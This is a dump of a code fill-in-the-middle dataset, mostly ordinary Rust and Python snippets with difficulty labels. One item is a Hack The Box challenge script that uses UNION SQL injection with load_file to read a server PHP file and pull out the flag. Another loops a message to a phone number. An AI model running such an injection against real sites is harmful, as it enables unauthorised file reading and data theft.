text stringlengths 232 16.3k | domain stringclasses 1
value | difficulty stringclasses 3
values | meta dict |
|---|---|---|---|
<|fim_suffix|> "pci"
}
fn handles(&self, bus_dev: &dyn device_manager::BusDevice) -> u32
{
let classcode = bus_dev.get_attr("class").unwrap_u32();
// [class] [subclass] [IF] [ver]
// - The 5 masks in two bits representing the channel modes
if classcode & 0xFFFF0500 == 0x01010000 {
1 // Handle as weakly a... | code_fim | hard | {
"lang": "rust",
"repo": "thepowersgang/rust_os",
"path": "/Kernel/Modules/storage_ata/drivers.rs",
"mode": "spm",
"license": "BSD-2-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|>// repo: gnoliyil/fuchsia path: /src/developer/ffx/plugins/setui/src/args.rs
// Copyright 2022 The Fuchsia Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
<|fim_suffix|>#[ffx_command()]
#[derive(FromArgs, Debug, Partia... | code_fim | medium | {
"lang": "rust",
"repo": "gnoliyil/fuchsia",
"path": "/src/developer/ffx/plugins/setui/src/args.rs",
"mode": "psm",
"license": "BSD-2-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|>#[ffx_command()]
#[derive(FromArgs, Debug, PartialEq)]
#[argh(subcommand, name = "setui", description = "Modify and query settings.")]
pub struct SetuiCommand {
#[argh(subcommand)]
pub subcommand: SubCommand,
}<|fim_prefix|>// repo: gnoliyil/fuchsia path: /src/developer/ffx/plugins/setui/src/args... | code_fim | medium | {
"lang": "rust",
"repo": "gnoliyil/fuchsia",
"path": "/src/developer/ffx/plugins/setui/src/args.rs",
"mode": "spm",
"license": "BSD-2-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> // Optionally, spawn a bunch of threads that add scheduling choice points, each taking 5 steps
for _ in 0..num_threads - 2 {
thread::spawn(|| {
for _ in 0..5 {
thread::sleep(Duration::from_millis(1));
}
});
}
// Main worker threads t... | code_fim | hard | {
"lang": "rust",
"repo": "JacobVanGeffen/shuttle",
"path": "/tests/basic/pct.rs",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> let file_name = "test.mmap_to_file.bin";
fs::remove_file(file_name);
let addr = mmap_to_file(TEST_SIZE, file_name).unwrap();
unsafe {
ptr::write(addr as *mut usize, 42);
assert_eq!(ptr::read(addr as *mut usize), 42);
munmap(addr, TEST_SIZ... | code_fim | hard | {
"lang": "rust",
"repo": "ShisoftResearch/pmem-alloc",
"path": "/src/mmap.rs",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> #[test]
fn mmap_file() {
let file_name = "test.mmap_to_file.bin";
fs::remove_file(file_name);
let addr = mmap_to_file(TEST_SIZE, file_name).unwrap();
unsafe {
ptr::write(addr as *mut usize, 42);
assert_eq!(ptr::read(addr as *mut usize), 42);
... | code_fim | hard | {
"lang": "rust",
"repo": "ShisoftResearch/pmem-alloc",
"path": "/src/mmap.rs",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> #[error("Couldn't set topic score parameters")]
TopicScoreParams {
topic_name: String,
error: &'static str,
},
#[error("Response channel closed: {0:?}")]
ResponseChannelClosed(
<MessageCodec as libp2p::request_response::RequestResponseCodec>::Response,
),
}
... | code_fim | hard | {
"lang": "rust",
"repo": "nimiq/core-rs-albatross",
"path": "/network-libp2p/src/error.rs",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|>// repo: nimiq/core-rs-albatross path: /network-libp2p/src/error.rs
use thiserror::Error;
use crate::{behaviour::NimiqNetworkBehaviourError, dispatch::codecs::typed::MessageCodec};
#[derive(Debug, Error)]
pub enum NetworkError {
#[error("Dial error: {0}")]
Dial(#[from] libp2p::swarm::DialError)... | code_fim | hard | {
"lang": "rust",
"repo": "nimiq/core-rs-albatross",
"path": "/network-libp2p/src/error.rs",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>impl From<tokio::sync::oneshot::error::RecvError> for NetworkError {
fn from(_: tokio::sync::oneshot::error::RecvError) -> Self {
NetworkError::Cancelled
}
}
impl From<libp2p::kad::store::Error> for NetworkError {
fn from(e: libp2p::kad::store::Error) -> Self {
Self::DhtStore(... | code_fim | hard | {
"lang": "rust",
"repo": "nimiq/core-rs-albatross",
"path": "/network-libp2p/src/error.rs",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|>// repo: YosiSF/EinsteinDB path: /soliton_panic/src/table_properties.rs
// Copyright 2021 EinsteinDB Project Authors. Licensed under Apache-2.0.
// -----------------------------------------------------------------------------
//! # EinsteinDB
//! # --------------------------------------------------------... | code_fim | hard | {
"lang": "rust",
"repo": "YosiSF/EinsteinDB",
"path": "/soliton_panic/src/table_properties.rs",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>#[no_mangle]
#[allow(unused_variables)]
pub fn causet_partitioner_context_new() -> Box<CausetPartitionerContext> {
Box::new(CausetPartitionerContext {
prev_user_soliton_id: Vec::new(),
current_user_soliton_id: Vec::new(),
current_output_file_size: 0,
})
}
#[no_mangle]
#[... | code_fim | hard | {
"lang": "rust",
"repo": "YosiSF/EinsteinDB",
"path": "/soliton_panic/src/table_properties.rs",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> impl EuclideanDiv for $name {
type Naturals = $unsigned;
#[inline] fn euclid_norm(&self) -> $unsigned {self.abs_unsigned()}
///Euclidean division implemented using the `/` operator
#[inline] fn div_euc(self, rhs: Self) -> Self {self / rhs}
... | code_fim | hard | {
"lang": "rust",
"repo": "adamAndMath/maths-traits",
"path": "/src/algebra/integer.rs",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|>// repo: adamAndMath/maths-traits path: /src/algebra/integer.rs
use core::convert::{TryFrom, TryInto};
use core::ops::{Rem, RemAssign};
use crate::analysis::ordered::*;
use crate::algebra::*;
auto!{
pub trait CastPrimInt =
TryFrom<i8> + TryFrom<u8> + TryInto<i8> + TryInto<u8> +
... | code_fim | hard | {
"lang": "rust",
"repo": "adamAndMath/maths-traits",
"path": "/src/algebra/integer.rs",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> let container_rules = serde::parse_container(self.attributes);
regular_enum_to_tokens(tokens, &container_rules, &self.enum_features, || {
self.variants
.iter()
.filter_map(|variant| {
let variant_rules = serde::parse_value(&v... | code_fim | hard | {
"lang": "rust",
"repo": "juhaku/utoipa",
"path": "/utoipa-gen/src/component/schema.rs",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|>// repo: juhaku/utoipa path: /utoipa-gen/src/component/schema.rs
er>,
yield_: impl FnOnce(NamedStructFieldOptions<'_>) -> R,
) -> R {
let type_tree = &mut TypeTree::from_type(&field.ty);
if let Some(aliases) = &self.aliases {
for (new_generic, old_generic_matcher) ... | code_fim | hard | {
"lang": "rust",
"repo": "juhaku/utoipa",
"path": "/utoipa-gen/src/component/schema.rs",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> for field in flatten_fields {
self.field_as_schema_property(
field,
&container_rules,
|NamedStructFieldOptions { property, .. }| {
tokens.extend(quote! { .item(#property) });
... | code_fim | hard | {
"lang": "rust",
"repo": "juhaku/utoipa",
"path": "/utoipa-gen/src/component/schema.rs",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|>// repo: sudosalim/wasmer path: /lib/runtime-core/src/typed_func.rs
use crate::{
backend::UserTrapper,
error::RuntimeError,
export::{Context, Export, FuncPointer},
import::IsExport,
types::{FuncSig, Type, WasmExternType},
vm::Ctx,
};
use std::{any::Any, cell::UnsafeCell, marker::P... | code_fim | hard | {
"lang": "rust",
"repo": "sudosalim/wasmer",
"path": "/lib/runtime-core/src/typed_func.rs",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> assert_eq!(mem::size_of::<Self>(), 0, "you cannot use a closure that captures state for `Func`.");
extern fn wrap<$( $x: WasmExternType, )* Rets: WasmTypeList, Trap: TrapEarly<Rets>, FN: Fn( &mut Ctx $( ,$x )* ) -> Trap>( ctx: &mut Ctx $( ,$x: $x )* ) -> Rets::CStruct {
... | code_fim | hard | {
"lang": "rust",
"repo": "sudosalim/wasmer",
"path": "/lib/runtime-core/src/typed_func.rs",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>al.
//!
//! The `apns::client::ProviderResponse` does not block until using the
//! `recv_timeout`. The request is handled in another thread and the response is
//! sent through a channel to the thread calling the method.
extern crate solicit;
extern crate rustc_serialize;
extern crate time;
extern crate... | code_fim | hard | {
"lang": "rust",
"repo": "polyitan/apns2",
"path": "/src/lib.rs",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> let color_name = match n {
1 => {
"red"
},
2 => {
"yellow"
}
3 => {
"white"
}
4 => {
"aqua"
}
5 => {
"purple"
}
6 => {
"blue"
}
... | code_fim | hard | {
"lang": "rust",
"repo": "FreeMasen/mtx_btn",
"path": "/src/main.rs",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|>// repo: bytesnake/hex path: /cli/src/store.rs
use std::slice;
use std::io::Read;
use std::fs::File;
use std::process::Command;
use std::path::Path;
use walkdir::WalkDir;
use id3::Tag;
use hex_database::{Track, Writer};
use hex_music_container::{Configuration, Container};
pub fn store(write: &Writer, p... | code_fim | hard | {
"lang": "rust",
"repo": "bytesnake/hex",
"path": "/cli/src/store.rs",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> let mut audio_file = File::open("/tmp/hex-cli-audio").unwrap();
let mut data = Vec::new();
audio_file.read_to_end(&mut data).unwrap();
let data: &[i16] = unsafe {
slice::from_raw_parts(
data.as_ptr() as *const i16,
data.len() / ... | code_fim | hard | {
"lang": "rust",
"repo": "bytesnake/hex",
"path": "/cli/src/store.rs",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>}
impl Button {
pub fn new_color(color: ButtonColor) -> Rc<Self> {
Rc::new(Self {
style: ButtonStyle::Color(color),
})
}
pub fn new_image(image: Rc<Image>) -> Rc<Self> {
Rc::new(Self {
style: ButtonStyle::Image(image),
})
}
}<|fim_p... | code_fim | hard | {
"lang": "rust",
"repo": "dakom/awsm-renderer",
"path": "/demo/src/ui/primitives/button/state.rs",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>impl Button {
pub fn new_color(color: ButtonColor) -> Rc<Self> {
Rc::new(Self {
style: ButtonStyle::Color(color),
})
}
pub fn new_image(image: Rc<Image>) -> Rc<Self> {
Rc::new(Self {
style: ButtonStyle::Image(image),
})
}
}<|fim_prefi... | code_fim | hard | {
"lang": "rust",
"repo": "dakom/awsm-renderer",
"path": "/demo/src/ui/primitives/button/state.rs",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|>// repo: dakom/awsm-renderer path: /demo/src/ui/primitives/button/state.rs
use crate::prelude::*;
use crate::ui::primitives::image::Image;
<|fim_suffix|>#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub enum ButtonColor {
Primary,
Green,
Red,
}
impl Button {
pub fn new_color(color: But... | code_fim | medium | {
"lang": "rust",
"repo": "dakom/awsm-renderer",
"path": "/demo/src/ui/primitives/button/state.rs",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> #[test]
fn primes() {
let ps = PrimeSet::new();
assert_eq!(39, super::get_limit_n(&ps, 1, 41));
assert_eq!(79, super::get_limit_n(&ps, -79, 1601))
}
}<|fim_prefix|>// repo: gifnksm/ProjectEulerRust path: /src/bin/p027.rs
//! [Problem 27](https://projecteuler.net/proble... | code_fim | hard | {
"lang": "rust",
"repo": "gifnksm/ProjectEulerRust",
"path": "/src/bin/p027.rs",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|>// repo: gifnksm/ProjectEulerRust path: /src/bin/p027.rs
//! [Problem 27](https://projecteuler.net/problem=27) solver.
#![warn(
bad_style,
unused,
unused_extern_crates,
unused_import_braces,
unused_qualifications,
unused_results
)]
<|fim_suffix|>fn compute(limit: u64) -> i32 {
... | code_fim | hard | {
"lang": "rust",
"repo": "gifnksm/ProjectEulerRust",
"path": "/src/bin/p027.rs",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>impl<T, D, A> Future for AcceptFuture<T, D, A>
where
D: Detect<T>,
A: core::listen::Accept<(D::Target, BoxedIo)>,
A::Error: Into<Error>,
{
type Output = Result<A::ConnectionFuture, Error>;
#[project]
fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll<Self::Output> {
... | code_fim | hard | {
"lang": "rust",
"repo": "vikrem/linkerd2-proxy",
"path": "/linkerd/proxy/detect/src/lib.rs",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>/// Implementation of the [`Opcode::Cmp`] and [`Opcode::Seq`] instructions
pub fn cmp_op(inputs: OpInputs) -> EmulatorResult<()> {
// CMP compares the A-value to the B-value. If the result of the
// comparison is equal, the instruction after the next instruction
// (PC + 2) is queued (skippin... | code_fim | hard | {
"lang": "rust",
"repo": "base0x10/Marzipan",
"path": "/marzipan-core/src/emulators/generic_emulator/emulation_operations.rs",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>/// Implementation of the [`Opcode::Jmp`] instruction
pub fn jmp_op(inputs: OpInputs) -> EmulatorResult<()> {
// jmp unconditionally adds the b pointer to the process queue
inputs.pq.push_back(inputs.regs.a.idx, inputs.warrior_id)?;
Ok(())
}
/// Implementation of the [`Opcode::Jmz`] instructi... | code_fim | hard | {
"lang": "rust",
"repo": "base0x10/Marzipan",
"path": "/marzipan-core/src/emulators/generic_emulator/emulation_operations.rs",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|>// repo: base0x10/Marzipan path: /marzipan-core/src/emulators/generic_emulator/emulation_operations.rs
#[allow(
clippy::missing_const_for_fn,
reason = "Keep API to opcode functions identical"
)]
pub fn dat_op(_inputs: OpInputs) -> EmulatorResult<()> {
// Do nothing past operand evaluation
... | code_fim | hard | {
"lang": "rust",
"repo": "base0x10/Marzipan",
"path": "/marzipan-core/src/emulators/generic_emulator/emulation_operations.rs",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> unsafe {
sys::compressor_params_set_uastc(self.0, is_uastc);
}
}
/// Sets the color space the images to be compressed is encoded in
///
/// Setting a linear color space will:
/// * Use linear colorspace metrics (instead of the default sRGB)
/// * By def... | code_fim | hard | {
"lang": "rust",
"repo": "kanerogers/basis-universal-rs",
"path": "/basis-universal/src/encoding/compressor_params.rs",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> ::piston_window::Text::new_color(self.color, self.font_size - (self.font_size / 3))
.draw("Score",
options.character_cache,
&options.context.draw_state,
score_label_transform,
options.graphics);
::piston_w... | code_fim | hard | {
"lang": "rust",
"repo": "simon-whitehead/tetrs",
"path": "/src/game/scoring/score.rs",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|>// repo: iomeone/bloodthorne path: /src/dota/dota_shared_enums.rs
ption::Option::Some(DOTA_GameMode::DOTA_GAMEMODE_TUTORIAL),
11 => ::std::option::Option::Some(DOTA_GameMode::DOTA_GAMEMODE_MO),
12 => ::std::option::Option::Some(DOTA_GameMode::DOTA_GAMEMODE_LP),
13 => :... | code_fim | hard | {
"lang": "rust",
"repo": "iomeone/bloodthorne",
"path": "/src/dota/dota_shared_enums.rs",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> fn enum_descriptor_static(_: Option<DOTAJoinLobbyResult>) -> &'static ::protobuf::reflect::EnumDescriptor {
static mut descriptor: ::protobuf::lazy::Lazy<::protobuf::reflect::EnumDescriptor> = ::protobuf::lazy::Lazy {
lock: ::protobuf::lazy::ONCE_INIT,
ptr: 0 as *const ... | code_fim | hard | {
"lang": "rust",
"repo": "iomeone/bloodthorne",
"path": "/src/dota/dota_shared_enums.rs",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> fn enum_descriptor_static(_: Option<Fantasy_Team_Slots>) -> &'static ::protobuf::reflect::EnumDescriptor {
static mut descriptor: ::protobuf::lazy::Lazy<::protobuf::reflect::EnumDescriptor> = ::protobuf::lazy::Lazy {
lock: ::protobuf::lazy::ONCE_INIT,
ptr: 0 as *const :... | code_fim | hard | {
"lang": "rust",
"repo": "iomeone/bloodthorne",
"path": "/src/dota/dota_shared_enums.rs",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: asv7es/CS6888_Project path: /queryparser.py
import dnf_converter
def parse(query):
print("parsing the query...")
query = dnf_converter.convert(query)
cp_cla<|fim_suffix|>use_list.append(clause)
cp_clause_list.append({ "cp": cp, "clauses": clauses })
return cp_clause_list, clause_list<|fim_... | code_fim | hard | {
"lang": "python",
"repo": "asv7es/CS6888_Project",
"path": "/queryparser.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>]:
clauses.append(clause)
clause_list.append(clause)
else:
clause = cp
clauses.append(clause)
clause_list.append(clause)
cp_clause_list.append({ "cp": cp, "clauses": clauses })
return cp_clause_list, clause_list<|fim_prefix|># repo: asv7es/CS6888_Project path: /queryparser.py
import... | code_fim | medium | {
"lang": "python",
"repo": "asv7es/CS6888_Project",
"path": "/queryparser.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: 5l1v3r1/HTB_WEB_CHALLENGES path: /FreeLancer/freelance.py
import requests
from bs4 import BeautifulSoup
import sys
import re
if len(sys.argv)<2:
print("Syntax : python %s <port>")%(str(sys.argv[0]))
else:
print('-'*55)
print("HTB WEB-CHALLENGE coded by ZyperX [Freelance]")
print('-'*55)
r=re... | code_fim | hard | {
"lang": "python",
"repo": "5l1v3r1/HTB_WEB_CHALLENGES",
"path": "/FreeLancer/freelance.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>t("[*]Column 2 is reflected");
print("[*]Injecting payloads in column 2....");
upayload=upayload.replace('2','load_file(\'/var/www/html/administrat/panel.php\')')
url="http://docker.hackthebox.eu:"+port+uri+upayload
print("[*]Excecuting : %s")%(url)
op=r.get(url)
op=str(op.text)
op=re.search("HTB.*?<",op... | code_fim | hard | {
"lang": "python",
"repo": "5l1v3r1/HTB_WEB_CHALLENGES",
"path": "/FreeLancer/freelance.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>v1 = 3 * mathfont.em
v2 = 1 * mathfont.em
f = mathfont.create("stack-topdisplaystyleshiftup%d-axisheight%d" % (v1, v2),
"Copyright (c) 2016 MathML Association")
f.math.AxisHeight = v2
f.math.StackBottomDisplayStyleShiftDown = 0
f.math.StackBottomShiftDown = 0
f.math.StackDisplayStyleGa... | code_fim | hard | {
"lang": "python",
"repo": "chromium/chromium",
"path": "/third_party/blink/web_tests/external/wpt/mathml/tools/stacks.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> value = replace_subnets(value, parameters)
value = replace_vpc(value, parameters)
return value
if __name__ == '__main__':
print(replace_network('CfHl.Subnets.Public',{'EnvironmentName':'dev'}))
print(replace_network('CfHl.Subnet.Public0',{'EnvironmentName':'dev'}))
print(replace_n... | code_fim | hard | {
"lang": "python",
"repo": "toshke/hl-component-cfhlmacros",
"path": "/src/macros/methods.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: toshke/hl-component-cfhlmacros path: /src/macros/methods.py
import boto3
class NetworkLookup:
def __init__(self):
self.loaded = 0
self.subnets = {}
self.vpcs = {}
def load(self):
if self.loaded:
return
client = boto3.client('ec2')
... | code_fim | hard | {
"lang": "python",
"repo": "toshke/hl-component-cfhlmacros",
"path": "/src/macros/methods.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> return render(request, 'petite_vue_app/test-form.html')<|fim_prefix|># repo: bideinsilence/django-petite-vue-form path: /petite_vue_app/views.py
from django.shortcuts import render
<|fim_middle|># Create your views here.
def test_petite_vue(request):
| code_fim | easy | {
"lang": "python",
"repo": "bideinsilence/django-petite-vue-form",
"path": "/petite_vue_app/views.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: bideinsilence/django-petite-vue-form path: /petite_vue_app/views.py
from django.shortcuts import render
<|fim_suffix|> return render(request, 'petite_vue_app/test-form.html')<|fim_middle|># Create your views here.
def test_petite_vue(request):
| code_fim | easy | {
"lang": "python",
"repo": "bideinsilence/django-petite-vue-form",
"path": "/petite_vue_app/views.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>admin.site.register(ArticlePost, SummernoteModelAdmin)<|fim_prefix|># repo: Keoooo/portfolio-project path: /article/admin.py
from django.contrib import admin
from django_summernote.admin import SummernoteModelAdmin
from .models import ArticlePost
# Register your models here.
class SomeModelAdmin(Summern... | code_fim | easy | {
"lang": "python",
"repo": "Keoooo/portfolio-project",
"path": "/article/admin.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Keoooo/portfolio-project path: /article/admin.py
from django.contrib import admin
from django_summernote.admin import SummernoteModelAdmin
from .models import ArticlePost
# Register your models here.
<|fim_suffix|> summernote_fields = '__all__'
admin.site.register(ArticlePost, Summernote... | code_fim | medium | {
"lang": "python",
"repo": "Keoooo/portfolio-project",
"path": "/article/admin.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|># ....................{ IMPORTS }....................
# ....................{ NAMES }....................
BUILTINS_MODULE_NAME = 'builtins'
'''
Fully-qualified name of the **builtins module** (i.e., objects defined by the
standard :mod:`builtins` mo... | code_fim | medium | {
"lang": "python",
"repo": "beartype/beartype",
"path": "/beartype/_data/module/datamodpy.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> scores = []
for entry in measures:
try:
curr = int(entry[1])
except:
curr = None
if curr is not None:
scores.append(curr)
if len(scores) < 1:
return 0
return max(scores) - min(scores)
measure_dates = sc.textFile('file:///data/exercise1/measure_dates').map(lambda l:l.encode().split(',... | code_fim | medium | {
"lang": "python",
"repo": "maxyan/UCB_MIDS_W205",
"path": "/exercise_1/investigations/procedure_variability/procedure_variability.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>measure_dates = sc.textFile('file:///data/exercise1/measure_dates').map(lambda l:l.encode().split(',')).map(lambda x: (x[1], x[0]))
procedure_score_range = procedure_care_grouped.map(lambda p:(p[0], range_func(p[1]))).join(measure_dates)
sorted_ranges = procedure_score_range.sortBy(lambda x:x[1], False)
t... | code_fim | hard | {
"lang": "python",
"repo": "maxyan/UCB_MIDS_W205",
"path": "/exercise_1/investigations/procedure_variability/procedure_variability.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: maxyan/UCB_MIDS_W205 path: /exercise_1/investigations/procedure_variability/procedure_variability.py
from pyspark import SparkContext
from pyspark.sql import SQLContext
from pyspark.sql.types import *
sc = SparkContext("local", "weblog app")
effective_care = sc.textFile('file:///data/exercise1/e... | code_fim | medium | {
"lang": "python",
"repo": "maxyan/UCB_MIDS_W205",
"path": "/exercise_1/investigations/procedure_variability/procedure_variability.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|># Take care of multi-terminals
# if len(network.terminals) > 1:
## end = Node('qf')
# network.addNode(end)
# for i in copy(network.terminals):
## network.addDelta(i, '', end)
# network.remTerminal(i)
# network.addTerminal(end)
# Add a dummy start and end nodes
start = Node('qs')
netwo... | code_fim | hard | {
"lang": "python",
"repo": "max99x/automata-editor",
"path": "/nfa2regex.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>def nfa2regex(nfa):
if not nfa.isValid():
raise AutomataError(
'NFA must be in a valid state to be converted to a regex.')
network = NetworkNFA(nfa)
if DEBUG:
print('START', network)
# Take care of multi-terminals
# if len(network.terminals) > 1:
## end = Node... | code_fim | hard | {
"lang": "python",
"repo": "max99x/automata-editor",
"path": "/nfa2regex.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> if random() < epsilon:
next_action = randint(0, 3)
else:
next_action = current_state.get_max_q_index()
di, dj = action_to_diff_vector(next_action)
next_state = transition(states, current_state, di, dj)
if random(... | code_fim | hard | {
"lang": "python",
"repo": "igorpejic/q_learning_sarsa",
"path": "/cliff_walking.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>for epsilon in EPSILONS:
if METHOD == 'SARSA' or METHOD == 'BOTH':
_mistakes_sarsa, end_states_sarsa, episode_rewards = run_code(use_q_learning=False, _epsilon=epsilon)
plot_best_q_values_states(end_states_sarsa, 'SARSA', epsilon, PLOTS, fig, axes)
display_optimal_policy(end_st... | code_fim | hard | {
"lang": "python",
"repo": "igorpejic/q_learning_sarsa",
"path": "/cliff_walking.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: igorpejic/q_learning_sarsa path: /cliff_walking.py
from math import *
from numpy import *
from random import *
import numpy as np
import matplotlib.pyplot as plt
from colorama import Fore, Back, Style
from gridworld import q_to_arrow
N_ROWS = 6
N_COLUMNS = 10
class State(object):
def __ini... | code_fim | hard | {
"lang": "python",
"repo": "igorpejic/q_learning_sarsa",
"path": "/cliff_walking.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> pass # hook method
def regen_resource(self):
pass # hook method
def full_resource(self):
pass<|fim_prefix|># repo: david3355/PyGame path: /classes/rouge.py
__author__ = 'Jager'
from char import Character
class Rouge (Character):
<|fim_middle|> def special_att... | code_fim | hard | {
"lang": "python",
"repo": "david3355/PyGame",
"path": "/classes/rouge.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: david3355/PyGame path: /classes/rouge.py
__author__ = 'Jager'
from char import Character
<|fim_suffix|> def regen_resource(self):
pass # hook method
def full_resource(self):
pass<|fim_middle|>class Rouge (Character):
def special_attack1(self, opponent, hitdamage_... | code_fim | hard | {
"lang": "python",
"repo": "david3355/PyGame",
"path": "/classes/rouge.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: david3355/PyGame path: /classes/rouge.py
__author__ = 'Jager'
from char import Character
class Rouge (Character):
def special_attack1(self, opponent, hitdamage_callback, specatt_callback):
pass # hook method
def special_attack2(self, opponent, hitdamage_callback, specatt_cal... | code_fim | easy | {
"lang": "python",
"repo": "david3355/PyGame",
"path": "/classes/rouge.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> """
workmat = []
WrongType = False
TooLong = False
i = 0
if isinstance(matrix, list):
if matrix == []:
WrongType = True
for x in range(len(matrix)):
if isinstance(matrix[x], list):
workmat.append([])
for y in r... | code_fim | hard | {
"lang": "python",
"repo": "JHS1790/holbertonschool-higher_level_programming",
"path": "/0x07-python-test_driven_development/2-matrix_divided.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: JHS1790/holbertonschool-higher_level_programming path: /0x07-python-test_driven_development/2-matrix_divided.py
#!/usr/bin/python3
"""1. Divide a matrix """
def matrix_divided(matrix, div):
"""Divides a Matrix
Args:
matrix: A list of lists of ints or floats
div: a non zero int ... | code_fim | hard | {
"lang": "python",
"repo": "JHS1790/holbertonschool-higher_level_programming",
"path": "/0x07-python-test_driven_development/2-matrix_divided.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>loops(loop, phoneNumber, message) # input how many u want to loop<|fim_prefix|># repo: AchmadBudy/BotPy-manual path: /bot.py
# required !!!
# pip install selenium
# pip install webdriver-manager
from theMachine import loops
<|fim_middle|># fill the number and message
# you can fill the number w... | code_fim | medium | {
"lang": "python",
"repo": "AchmadBudy/BotPy-manual",
"path": "/bot.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|># fill the number and message
# you can fill the number with array
phoneNumber = "fill the number"
message = "fill with ur message"
loop = 1 # this how many u want to loop
loops(loop, phoneNumber, message) # input how many u want to loop<|fim_prefix|># repo: AchmadBudy/BotPy-manual path: /bot.py... | code_fim | easy | {
"lang": "python",
"repo": "AchmadBudy/BotPy-manual",
"path": "/bot.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: AchmadBudy/BotPy-manual path: /bot.py
# required !!!
# pip install selenium
# pip install webdriver-manager
<|fim_suffix|>loops(loop, phoneNumber, message) # input how many u want to loop<|fim_middle|>from theMachine import loops
# fill the number and message
# you can fill the number w... | code_fim | hard | {
"lang": "python",
"repo": "AchmadBudy/BotPy-manual",
"path": "/bot.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
